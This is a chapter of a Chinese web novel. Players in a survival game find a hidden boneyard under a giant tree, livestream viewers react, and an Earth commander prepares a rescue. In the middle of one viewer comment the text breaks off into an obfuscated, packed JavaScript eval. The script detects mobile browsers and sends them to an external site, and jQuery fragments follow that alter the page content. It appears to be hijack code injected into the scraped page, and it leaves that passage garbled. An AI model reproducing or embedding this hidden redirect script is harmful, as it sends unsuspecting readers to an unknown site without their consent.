向导在巨树前停下。


    江显和陆寰俩人对视一眼，都从对方眼里看出不解。


    他大晚上地跑到古树前干什么？祈求树灵保佑吗？


    借着昏暗的灯光，他们看到向导蹲下身去，在地面上那些粗壮的根系里寻找着什么。


    “养料……这一切都是森林的养料。这些鱼都是，我们也是……”他竟跪在树下，动作语气里尽显狂热。


    然后他开始念诵起来了：“但愿这里的一切都循环往复，永无终结，亘古不变，直至复苏。”


    江显不明白。


    向导在树根里找的是鱼？


    这还是她第一次见识到现实版缘木求鱼，十分怀疑他是生鱼吃多了脑子坏了。


    “咚”一声，有什么东西重重落在了地上，仿佛是听懂了他的话一般。


    光线太过昏暗，江显分辨不出那到底是什么，只能依稀看出那是个圆形的物体。


    向导从地上抱起那物体，然后从俩人的藏身之地面前径直走过。很快林间就连他的脚步声也无法听见了。


    【最终boss复苏进度：50%】


    系统提示响起，江显觉得这所谓最终boss是向导已经八九不离十了。


    她再次打开自己的界面查看，发现支线任务的进度果然又动了。


    【个人提示：支线：《向导的秘密》完成进度100%】


    【辛苦耕耘的人们，终将收获硕果。】


    【人们吃下硕果，载歌载舞】


    【是人类成就了硕果，还是硕果成就了人类？】


    【提示：遗忘的角落不曾消失，真理的海洋近在眼前。】


    【剩余待完成支线：2/3】


    【剩余待完成支线：1/3】


    “遗忘的角落”是指副本名字里的“失落之海”吗？可是眼前哪里有什么海洋？整个副本地图活动范围内都没有海洋。


    江显又等了片刻，准备从藏身树丛离开。


    她刚要迈出脚，不想却绊到了什么，猛一踉跄。


    ！


    江显低下头，看到自己竟不知何时把脚卡在了一根盘曲的树根里。


    她似乎不记得自己有走到低凹处去，难道是刚刚不小心滑下去了？


    “怎么了？”陆寰注意到了她的异常。


    她摇头：“没什么。”


    眼前没有跳出任何信息提示，但愿是她想多了。


    江显把脚从缠绕的树根里抽出来，继续朝巨树走去。


    那是一棵巨大无比的树。


    它的直径足有正常的三四倍大小，发达的根系从各个方向扎入地下，数以万计的根须构成了一片定格的海。


    江显小心翼翼踩着根茎，手指轻轻触上树皮。粗粝的纹路剐蹭着她的指腹。


    她仰头看去，再往上，粗壮的主干直插入高空，像是一座巍峨的高塔；再然后茂密的树冠遮蔽了天空，仿佛是密不透风的穹顶。


    江显蹲下去查看那些根系。


    她沿着根系四处摸着，甚至把手探入了深处，陆寰却只看见她脸色越来越凝重。


    “怎么了？”他问。


    “这里的地面……没有土壤。”江显一字一句说，“没有碎石、没有沙砾，一点土壤都没有。”


    “根系下面是悬空的，再然后又是根系。”


    就和她早先刚到这里时，和苏乐的发现一模一样。


    陆寰一惊：“怎么可能？”


    他不信邪地检查了一遍，扒开那些散落的树叶，却只能摸到那些密密麻麻的根茎。


    这简直是匪夷所思的事情！没有土壤，树木从哪儿吸收养料？又朝着何处生长？


    “真的有这种生物存在的可能性吗？”陆寰喃喃道。


    即便是苏乐这样的专业人士都无法解答，更别提是他俩。


    江显依旧在根系之间用手扒拉着。


    她的手依旧干净如初，只是沾了些水珠。因为这里没有任何土壤存在。


    “看这个！”她道。


    她的下方似乎是树根组成的空间。陆寰凑过去拿起手电一照，耀眼的反光晃得他闭了下眼。


    “这是……”


    眼前的情景简直叫人瞠目结舌——


    到处都是累累的白骨，宛若是一座座小山。江显不小心碰到了其中的一根，于是在一阵“叮叮当当”里，整个骨堆都在滑坡。


    那声音清脆极了，倘若不是目睹现场，江显一定会以为那是风铃。


    陆寰问：“这里怎会有如此多的骨骼！”


    江显拾起一截仔细观察一番，断言：不是人类的。“


    “那是谁的？“


    “鱼的——或者准确来说，各种海洋生物的。”江显指指周围那圈大小不一的骨架，“看，这种是小型鱼类的，而这种大的有弧度的看起来像是鲸鱼的，这种长长的——可能是蛇也可能是鳗鱼……还有蟹壳。”


    这里简直就是各种生物的坟场。


    正说着的时候，突然又有什么东西从树根的间隙里冒出来。


    江显很难描述那是怎样的场景：树根缓缓移动和松开，露出一个苍白的尖端，让人无端联想起新生的芽苞。然后尖端不断冒出，成为一条长长的骨头，再然后是另一根……


    一副全新的、完整的鱼类骨架出现在他们眼前，刚刚被树根吐出。


    与之伴随的是“咕”的声响。


    就仿佛是……树根吃饱了，打了个饱嗝，把无法消化的骨骸吐出来。


    陆寰看着下方那满目的白色，难以置信。


    “这到底是……”


    “你还记得我们来时那条白色的小路吗？”江显说。


    陆寰当然记得。


    “我刚刚就觉得那些路的形状质地和纹路十分古怪，但是又一时想不出问题。现在我知道了。那些路，是由大型鱼骨堆砌而成的。路的中轴是鱼的脊椎纵行拼接而成，两旁梳子一样的纹路是鱼刺，一具具鱼骨错开来堆在一起，把鱼刺间的空隙全部覆盖就成了实心道路。”


    陆寰倒抽一口冷气。


    “整片树林的道路，都是用鱼骨做成的。”


    林间道路是人铺成的，那就意味着这里的所有人一定都知道鱼骨堆的事情。


    换而言之，所有npc都知道关于“海”的秘密。


    这里随处可见各种海洋生物，但是——


    海又在哪里呢？？？


    “难道这颗星球上曾经到处都是海，然后海干涸了，森林覆盖了地表，现在只留下一堆动物尸骸？”陆寰胡乱猜测着。


    这样的话，他们又要去哪儿找海啊？


    正在这时，系统忽地弹出一则提示。


    【系统公告：副本地图隐藏区域解锁！】（此公告全体玩家可见）


    【玩家江显、陆寰成功探索周围，发现巨树。地图隐藏区域已解锁！】


    地图隐藏区域？


    江显立刻打开地图查看。


    可是地图的大小和范围并无扩张。


    “我没看见新的区域。”陆寰皱眉，“而且我一直以来有一个疑问，副本为我们划定的地方远远比不上一颗星球的规模，甚至不及一个城市的大小。那么这片区域以外的部分呢？如果我们抵达地图以外的地方又会如何？”


    江显默不作声。


    良久，她猜测道：“新解锁的区域，恐怕在那棵巨树的根系下面。”


    “就是那些全是骨头，被称作为‘养料’的东西之下。”


    也就是她那张黑白地图上一开始就显示高亮的圆形区域。


    陆寰被她这话说得有些毛骨悚然。


    如果“鱼骨”被视为养料，那么同样被向导称之为养料的“人”，又会是什么下场呢？


    “回去吧。”江显把手电筒从树根洞口移开。


    俩人都觉得这是目前最稳妥的办法。夜探如此诡异的地方属实不明智，更好的选择是明天白天喊上苏乐，再来一探究竟。


    反正这才第一天晚上，他们倒不用担心时间来不及。


    俩人一言不发地回到了鱼骨小路，对照着地图往回走。


    在视线再度被枝叶遮挡之前，陆寰有所感应似得回头看了一眼巨树。


    他突然生出一种奇怪的念头，仿佛这里的一切他都曾有过模糊的印象。


    *


    星际直播平台。


    尽管各个星球的时间不同，但现在副本时间却统一正是晚上。


    经历了一个下午的危机，玩家们皆疲惫不堪，大多已经沉沉睡去，无甚看头。


    因而，留在各个副本直播间里的只有寥寥几人。


    正在这时——


    【系统公告：副本地图隐藏区域解锁！】（此公告全体玩家可见）


    【玩家江显、陆寰成功探索周围，发现巨树。地图隐藏区域已解锁！】


    消息一出，星际直播间仅有的几个人纷纷大吃一惊！


    [现在不是大晚上的吗？这支队伍又在干什么啊！]


    [副本隐藏区域是什么？此前从没有队伍解锁过啊！]


    [有没有人告诉我，现在是怎么个情况，刚刚没看他们的直播间错过了。]


    [刚刚那位，你不是一个人。]


    [楼上+1]


    [我看到了，就是他们应该是走支线，然后跟着向导去了一棵大树那里。现在他们发现树下一堆鱼骨头。但诡异的是按照常理来说没有海哪来的鱼？]


    [卧槽这俩狠人，大半夜别人睡觉他们推支线进度


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004509|161923||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，牛的！]


    [夜晚这么危险他们还要贪功冒进，我看他们也走不远了。]


    [有没有人关心他们队里另一个妹子啊哈哈哈哈……她可能在睡梦中错过了亿点点东西。]


    [这个直播间好热闹啊，可惜之前没看，容我先看一波直播间回放恶补一下。]


    江显他们副本直播间的观看人数越来越多，很快就在一众副本直播里夺得头筹。许多之前在看其他副本的人也被他们吸引了过去。


    他们一时看不到最先进展，皆抓耳挠腮，只得全去看回放。


    [诶，等等，你不觉得某些副本的背景设定都有些相似吗？似乎都是在同一片森林里。只不过江姐他们这一组剧情是在科考站展开，而我刚刚看的另俩个副本是发生在森林深处的大逃杀！]


    [这么一说真的是！我刚刚看的那个副本，从巨树的样子到星球环境以及怪鱼外观，都和这个副本没有区别！]


    [难道……他们的副本之外还有副本，他们其实是处在同一个大型副本里面？可是他们的任务看起来毫不相干啊！]


    直播间里议论纷纷。观众们没法获得除了【系统公告】以外的任何背景提示，只能瞎猜。


    *


    与此同时，地球星际指挥中心。


    “上校，我们已经收集和录入了星网上所有直播间的信息，目前共计1000个副本，副本剩余存活人数1900人。”技术人员模样的叶泊推了推眼镜，神情兴奋不已。


    他的眼睛下是一片乌紫，显然很久没休息了。


    叶泊是地球指挥中心的技术部的负责人。这几天来整个技术部加班加点，生怕慢一步酿成大错。


    “很好。”露西亚赞赏道。


    “另外，我们有了惊人的发现！这些玩家所在的副本都是部分或全部以森林为背景！这意味着什么？这意味着所有副本很可能发生在同一个星球上！”叶泊夸张地手舞足蹈。


    “在副本进行时，我们根据玩家的活动范围，对所有副本的场景进行了建模，构建出了1000个各自独立的区域地图。”他说着拿出电子笔。


    他在面前的虚空画了两笔，虚拟光屏上立刻出现了演示图像。


    “然后我们将这1000个局部地图拼接起来，在排除了信息缺失和计算偏差之后，组装成了一个完整的星球模型。”


    他两手拖住光屏向中间收缩，那些局部缩略图重组成了一个碧绿的球形。


    “我们发现，这样制作成的星球模型，和金天鹅座的一颗行星——绿松石星，相似度竟高达95%！”他点着那个球形，宣布道，“这绝对是一个伟大的发现！”


    露西亚露出难以置信的神情：“他们在绿松石星上？！”


    叶泊点点头：“副本是真实存在的，上校！那些玩家一定还活着！”


    “除此之外，我们目前正在通过人脸识别核对所有玩家的身份信息。这一工程较为浩大，且因为需要申请访问星际公民数据库的所有信息，还需几天才能完成。”


    露西亚深深吸了一口气，强迫自己冷静下来。


    从这次大型的飞船事故发生以来，整个指挥中心已连轴转了几天几夜；此时有如此突破性进展，很难不令人振奋。


    这几天来露西亚一直处于精神紧绷的状态中。地球医疗部的人隐隐在给她施压；然而星际指挥中心方面却屡屡驳回她的搜救申请，这意味着她无法给舰队下命令前去营救。


    露西亚着实为飞船上那些乘客的状况担忧。她无法理解为何明明各项监测指标都显示事发地情况稳定，指挥中心总部却迟迟按兵不动；各方代表也在以“观察”为名义的踢皮球中稳定发挥。


    但总得有人先去。她想。这是她身为军人的天职。更何况这段时间地球的两位高层已经明确表达了他们的态度。


    此刻得到了技术部的最新消息，她更是心意已决。


    “立刻给‘特别行动队’下达指令，4小时后启程前往绿松石星！”露西亚对一旁的助手说道，“这一消息务必严格保密！”


    “特别行动队”从某种意义上来讲是指挥官的私人护卫队伍，其主要任务是保护指挥官的人身安全。


    露西亚此举等于说是宁愿以身犯险，也不想走漏消息。


    叶泊一路礼仪性地跟着她，然后目送着那个英姿飒爽的身影朝飞船停泊港的机械门走去，她肩章上金色的徽章在闪烁。


    “对了，上校。还有一件事情。”叶泊说。


    露西亚停下脚步，转过身来。


    “请您务必平安归来。”


    机械大门在她身旁打开，太阳的光茫从停机坪的甲板上显露出来，她整个人成了一道剪影。


    然后她向前走去，消失在强光之中。